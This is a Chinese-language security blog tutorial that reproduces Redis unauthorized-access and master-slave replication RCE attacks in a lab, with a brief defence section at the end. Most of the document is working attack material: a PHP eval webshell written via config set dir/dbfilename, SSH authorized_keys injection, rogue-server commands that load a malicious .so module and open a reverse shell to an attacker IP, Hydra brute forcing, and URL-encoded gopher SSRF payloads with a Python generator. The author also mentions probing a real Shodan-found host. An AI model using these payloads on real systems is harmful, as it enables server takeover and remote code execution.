本篇文章是Redis数据库漏洞复现,记录了实际中常见的Redis数据库未授权访问漏洞及主从复制RCE,主要分为七个部分:Redis简介、Redis安装、Redis基本操作、Redis漏洞复现、Redis联动SSRF漏洞、Redis实战和Redis防御措施。本篇文章由浅入深地介绍了Redis未配置访问认证授权导致的未授权访问漏洞和4.x版本后的主从复制RCE。在学习Redis过程中也阅读了几十篇中英文Redis相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Redis数据库渗透学习!!
一、Redis基本介绍
Redis,全名Remote Dictionary Server,是一个使用ANSI C编写的开源、支持网络、基于内存、分布式、可选持久性的键值对存储数据库,属于NoSQL数据库类型。与传统数据库不同的是 Redis 的数据存于内存中,所以读写速度非常快,被广泛应用于缓存方向。Redis 与其他 key – value 缓存产品有以下三个特点:
Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
Redis支持数据的备份,即master-slave模式的数据备份。
Redis默认端口号:
6379:默认配置端口号
26379:sentinel.conf配置器端口
二、软件安装及配置
Redis最新版本为6.2.4,目前没有其相关漏洞,此次Redis漏洞复现选择为3、4、5的版本。复现系统选择为Kali Linux系统,分别安装3版本和4版本的Redis。
IP信息:
Redis3.2.0 192.168.112.132
Redis4.0.8 192.168.112.177
官网地址:https://redis.io/
下载目录:http://download.redis.io/releases/
1、Redis-3.2.0安装
官网下载:http://download.redis.io/releases/redis-3.2.0.tar.gz
1)wget下载
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
2)解压文件
tar -zxvf redis-3.2.0.tar.gz
-z 通过gzip指令处理备份(解压)文件
-x 从备份(解压)文件中还原
-v 显示指令执行过程
-f 指定备份(解压)文件
3)编译安装
cd redis-3.2.0
make
2、Redis-4.0.8安装
类似Redis-3.2.0的安装,Linux执行如下命令即可下载和编译安装
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
3、Redis配置及使用
1)重要文件、目录介绍
/src
目录下存放主要源文件及可执行程序:
redis-benchmark(压力测试工具)
redis-sentinel(监控集群运行状态)
redis-server(服务端)
redis-cli(客户端)
redis.conf
是Redis的配置文件
2)允许远程连接
修改配置文件redis.conf
,在bind 127.0.0.1前加上#号,注释掉
vi redis.conf
# bind 127.0.0.1
3)关闭安全模式
在配置文件中修改protected-mode为no,关闭安全设置。protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后允许远程连接。
vi redis.conf
protected-mode no
4)启动Redis-server
在目录redis-4.0.8下执行下面命令指定配置文件启动Redis
./src/redis-server redis.conf
5)关闭Redis-server
关闭的话使用kill命令
ps aux | grep redis
kill -9 {PID}
参考: linux下redis的安装、启动、关闭和卸载
https://www.cnblogs.com/wlx6/p/13167666.html
6)Linux下配置环境变量
目的:启动redis-cli客户端时不用到src目录下,直接敲redis-cli即可
zsh中添加环境变量,在.zshrc
配置文件中最后添加下面deexport代码
vi ~/.zshrc
export PATH=/home/kali/Desktop/redis-4.0.8/src:$PATH
刷新当前的shell环境,使新增的环境变量生效
source ~/.zshrc
三、Redis基本操作
1、连接Redis服务器
交互模式
redis-cli -h {host} -p {port} -a {password}
命令模式
redis-cli {command}
2、Redis设置密码
config set requirepass 123.com
登陆方式1:-a参数加密码
redis-cli -h 192.168.112.132 -a 123.com
登陆方式2:登陆进去再认证授权
auth 123.com
3、常见命令
入门Redis,先稍微了解一些最常见,最常用的命令即可
-
查看redis数据库信息,如内存使用情况、key数量等
info
-
设置变量
set x "redisyyds"
set xx "wuhu123"
-
设置备份路径
config set dir {dirpath}
config set dir /var/www/html/
-
在磁盘中生成文件(空)
config set dbfilename {filename}
config set dbfilename shell.php
-
保存内存中的数据到磁盘文件中
save
-
查看所有变量名
keys *
-
查看变量内容
get {变量名}
get x
-
查看备份路径、文件
config get dir/dbfilename {dirpath/filename}
-
设置密码
config set requirepass {password}
config set requirepass "" #密码为空表示取消密码
-
删除键(变量)
flushdb # 当前库
flushall # 所有库
4、拓展命令
这部分属于比较少见的命令,但是可以作为进阶学习
-
切换数据库 redis默认由16个库(0~15号). 且默认使用的是0号库
select {num}
-
获取所有配置信息
config get *
5、拓展:Hydra爆破登陆密码
hydra -P passwd.txt redis://192.168.112.177
四、Redis漏洞复现
1、Redis未授权访问写webshell
0x01简介
通过未授权登陆进Redis,写入木马至网站路径下
利用条件:
存在Redis未授权访问
登陆的用户具有读写权限
知道网站的路径
0x02 复现操作
1)先在靶机上开启apache服务
/etc/init.d/apache2 start
2)未授权访问、写入一句话至内存、生成文件至磁盘中
redis-cli -h 192.168.112.132
set shell "\n\n<?php @eval($_POST['xigua']);?>\n\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
3)蚁剑连接
成功连接上
2、Redis写入密钥ssh登陆
0x01 简介
攻击机上生成rsa公钥和私钥,将公钥传至靶机上,通过ssh登陆
前提条件:
已知登陆用户名
登陆的用户具有读写权限
目标服务器开启ssh服务
0x02 复现过程
1)开启ssh服务
在redis3.2.0的机子上开启ssh服务
/etc/init.d/ssh start
2)生成ssh-rsa密钥
在Redis4.0.8的机子上创建ssh-rsa密钥,通过远程连接将密钥载入Redis3.2.0的机子内
ssh-keygen -t rsa
-t 指定密钥类型
id_rsa 私钥
id_rsa.pub 公钥
3)稍加处理
这里将密钥开头和结尾添加了一些\n
用于防止乱码,并写到key.txt中
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
-e 激活转义字符
添加\n\n的目的是为了安全起见,将内容和一些其他东西分隔开来,以便能够正确解析
4)将公钥写入redis服务器内存
cat key.txt | redis-cli -h 192.168.112.132 -a 123.com -x set pubkey
-x 从标准输入读取数据作为该命令的最后一个参数,将key.txt内容作为变量pubkey的值
5)设置路径和保存的文件名,将内存变量导入至磁盘文件
保存至/root/.ssh目录下的authorized_keys中(路径不存在需要提前创建)
config set dir /root/.ssh
config set dbfilename authorized_keys
save
6)登陆ssh
远程ssh登陆进192.168.112.132的主机
ssh -i id_rsa [email protected]
3、远程主从复制RCE
在以前,通过上述两种的websehll、ssh key以及crontab的方式拿到shell非常的通杀。但随着服务器部署方式的发展,在docker这种部署模式下,单一的容器中一般除了redis以外没有其他服务的存在,再加上进一步的安全措施升级及权限严格管控,用之前的方式拿shell已经行不通了,此时,需要一种新的手段。
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
在Redis4.x之后的版本中提供了主从模式,该模式指使用一个Redis作为主机,其余剩下的机子作为备份机,主机从机上的数据是一致的,主机负责写入,从机负责读取。
0x01 简介
Redis Rogue Server RCE技术:通过远程控制Redis主机使用FULLRESYNC同步文件至从机上,在从机上加载恶意so文件,进而实现远程命令执行。Redis Rogue Server
的涉及主要技术为Redis的主从复制以及外部模块加载,攻击思路如下:
利用原理介绍:https://xz.aliyun.com/t/5665#toc-15
0x02 复现
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Serverredis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
这里使用第一个工具
1)启动脚本执行Redis Rogue Server RCE
python3 redis_rogue_server.py -rhost 192.168.112.177 -lhost 192.168.112.132
python3 redis_rogue_server.py -h # 查看脚本的使用指南
-rhost 远程主机,从机
-lhost 本地主机,主机(Rouge Server)
2)选择模式
选择交互shell模式或者反弹shell模式,交互shell模式如下
选择反弹shell模式时需要先在公网服务器上开启监听端口用于监听反弹的shell
nc -lvp 8989
0x03 小结
上面复现的情况使用于允许远程主机登陆,如果Redis服务器设置了只允许本地登陆时,上述方法直接失效,此时需要联动一些其他的漏洞,通过本地登陆进Redis服务器,并拿到shell。下面介绍以本地的视角开启主从模式并从远程机上获取恶意.so文件并反弹shell
4、本地主从复制RCE
0x01 简介
对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机
0x02 复现
1)工具开启Rogue Server
python3 redis_rogue_server.py -v -path exp.so
-v #冗余模式,仅启动Rouge Server模式
-path #指定.so文件
2)本地登陆进Redis开启主从模式
redis-cli
config set dir /tmp
config set dbfilename exp.so
3)同步文件
slaveof 192.168.112.132 15000
4)载入恶意.so文件模块
module load ./exp.so # 载入
module list # 查看模块
5)反弹shell
system.rev 192.168.112.132 8989
6)关闭主从模式
slaveof NO ONE
五、Redis联动SSRF漏洞
1、RESP协议
RESP协议是Redis服务器通信的标准方式,服务器和客户端之间的通信建立在RESP协议之上,RESP协议实际上是一个支持简单字符串,错误,整数,批量字符串和数组五种数据类型的序列化协议。
RESP在Redis中用作请求 – 响应协议的方式如下:
-
客户端将命令作为
Bulk Strings
的RESP数组发送到Redis服务器。 -
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
此外,RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。 在RESP中,协议的不同部分始终以"\r\n"(CRLF)
结束。
*3 代表RESP数组长度为3
$4 代表字符长度为4
%0d%0a (\r\n) 代表换行符、结束符
+OK 代表服务端执行成功后返回的字符串
2、Gopher协议
Gopher是Internet上一个非常有名的信息查找系统,在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口,而它被代替的原因主要是收费和结构固化。Gopher协议支持GET和POST请求,常用于内网redis、smtp、ftp等服务的渗透攻击,此外还可以利用Gohper协议访问redis反弹shell。
Gopher协议格式:gopher://127.0.0.1:70/ + {TCP/IP数据}
Gopher协议解析实现:使用gopher协议时,TCP/IP数据部分会发送给相应的端口,这些数据可以是字符串或GET&POST请求数据包,redis、mysql未授权访问等,数据部分在发送时需要进行URL编码。
简单测试例子,curl工具支持gopher协议,使用gopher协议未授权访问redis服务器并请求info数据
curl gopher://192.168.112.132:6379/_*1
$4
info
对数据进行url编码:
curl gopher://192.168.112.132:6379/_*1%0d%0a%244%0d%0ainfo%0d%0a
不使用*1也可
curl gopher://192.168.112.132:6379/_%0d%0ainfo
curl gopher://192.168.112.132:6379/_%0d%0akeys%20%2a
注意点:回车用%0d%0a表示,问号需转为url编码%3f,最后可以多加上一个换行符
3、SSRF Redis 写入shell
简介:通过SSF漏洞和Gopher协议访问到内网的Redis服务,并发送恶意代码生成后门文件。
题目复现地址:https://www.ctfhub.com/#/skilltree
1)Redis命令
flushall
set 1 '<?php eval($_GET["test"]);?>'
config set dir /var/www/html
config set dbfilename test.php
save
2)构建gopher协议数据payload
根据前面介绍到的RESP协议和Gopher协议,构建payload如下,命令在上面的漏洞复现中都介绍了,这里还是简单解释下:
*1
表示一个RESP表达式中的数组长度为1,第一个命令flushall只有一个参数,故为1,第二行命令set 1 <?php eval($_GET["test"]);?>
共有三个参数,故为*3
,其余以此类推。$8
则表示它对应的下一个的参数flushall有8个的字符,$3
对应set字符的长度,依次类推。
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$32
<?php eval($_GET["test"]);?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$8
test.php
*1
$4
save
3)payload进行url编码处理
方法一:工具Gopherus
下载地址:https://github.com/tarunkant/Gopherus
使用方法见图
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22test%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
方法二:脚本生成
修改脚本对应的一些项,如shell命令、路径等
import urllib
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"test\"]);?>\n\n"
filename="test.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22test%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Atest.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
对比两种方法,脚本的功能比工具的功能更加强大些,自定义的选项多,且支持有密码的情况
4)二次url编码payload
在线网址进行url编码即可,UrlEncode编码/UrlDecode解码 – 站长工具 (chinaz.com)
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522test%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Atest.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
注意点:回车用%0d%0a表示,问号需转为url编码%3f,最后可以多加上一个换行符
坑点:用HackBar进行编码时,将大写全部变成小写,很无语
5)发送payload
将上述payload加到下面代码后,访问
http://challenge-cbdc649fd33ca6b5.sandbox.ctfhub.com:10800/?url=
6)找flag
【搜寻命令】
/test.php?test=system("ls /");
/shell.php?xigua=system("ls /");
/test.php?test=system("cat /flag_74b4c002ed3bdde2b2e63361afc8f576");
此外,也可以写入一句话,用蚁剑连接找flag,
4、SSRF Redis 主从复制RCE
简介:通过SSF漏洞和Gopher协议访问到内网的Redis服务,授权开启主从模式,载入恶意.so文件至磁盘中,进而拿到shell
复现地址:https://buuoj.cn/challenges
由于有些麻烦,这里用本地环境复现,且只复现涉及到Redis的部分,前面的PHP代码审计就略过了
1)本地开启Rouge Server
python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.112.132
这里本地地址–lhost设置为本地主机对外的IP地址192.168.112.132,作为一个Rouge Server。但是这里远程地址未知,即我们不知道Web服务器(题目靶机)的地址,由于是类似4-4的本地主从复制RCE,需要在靶机本地连接到我们的Rouge Server服务器,所以远程地址填不了,但是在这里填了127.0.0.1是因为从机可以有很多个,即这里将127.0.0.1也设置为从机,并顺便设置监听来查看Rouge Server下发的恶意命令
开启监听,框框中的数据是Rouge Server发送给本地的恶意命令,我们可以根据这些命令向靶机发送数据命令。
2)修改备份文件
前面提示文件中给出了Reids的密码,授权修改备份文件目录
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dir /tmp/
quit
二次编码后
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
将代码加在url后,访问回显正常即可
3)设置备份文件名和主从对象
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename exp.so
slaveof%2
0192.168.112.132 21000
quit
二次编码后
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252
0192.168.112.132%252021000%250d%250aquit
4)导入模块
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
module load ./exp.so
quit
二次编译
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit
5)关闭主从模式
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
slaveof NO ONE
quit
二次编码
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
6)导出数据库
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename dump.rdb
quit
二次编码
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
7)反弹shell
需要提前在kali上开启监听
gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
system.rev 192.168.112.132 8899
quit
二次编码
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.112.132%25208899%250d%250aquit
5、小结
Redis联动SSRF最重要的特征就是登陆进Redis是以本地的视角登陆进去的,而非远程,再根据第四章提到的几种漏洞拿shell方式,就可以大致分类出两种利用方式,一是写shell,这要求具有写的权限,二是本地主从复制RCE,通过本地登陆连接远程的Rouge Server同步恶意.so文件反弹拿shell,这种利用就比较复杂些。
六、Redis实战
1、网络空间搜索引擎搜索
基本的网站有fofa、shodan和zoomeye等
2、关键词搜索
在shodan上输入product:”Redis”,搜索到12977台安装了Redis服务的主机,随便拿一台外国的测试测试(全程打码,仅供测试)
经测试,网络上的大部分Redis存在未授权访问漏洞,且防御措施不佳,易被攻击
七、Redis防御措施
基本的防御措施如下:
1、禁止外部访问Redis服务
# redis.conf文件
bind 127.0.0.1
protected-mode yes
2、修改默认端口
也是在redis.conf
文件下
3、添加密码验证
config set requirepass {password} #密码为空表示取消密码
4、配置安全组,限制可连接Redis服务器的IP
5、禁止一些高危命令
用于将命令重命名为用户未知的随机字符串,使其无法访问
参考:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis
6、禁止以root权限启动redis服务
参考:https://blog.csdn.net/huantai3334/article/details/111397445
来源:freebuf.com 2021-06-20 12:43:49 by: Kr1pt0
请登录后发表评论
注册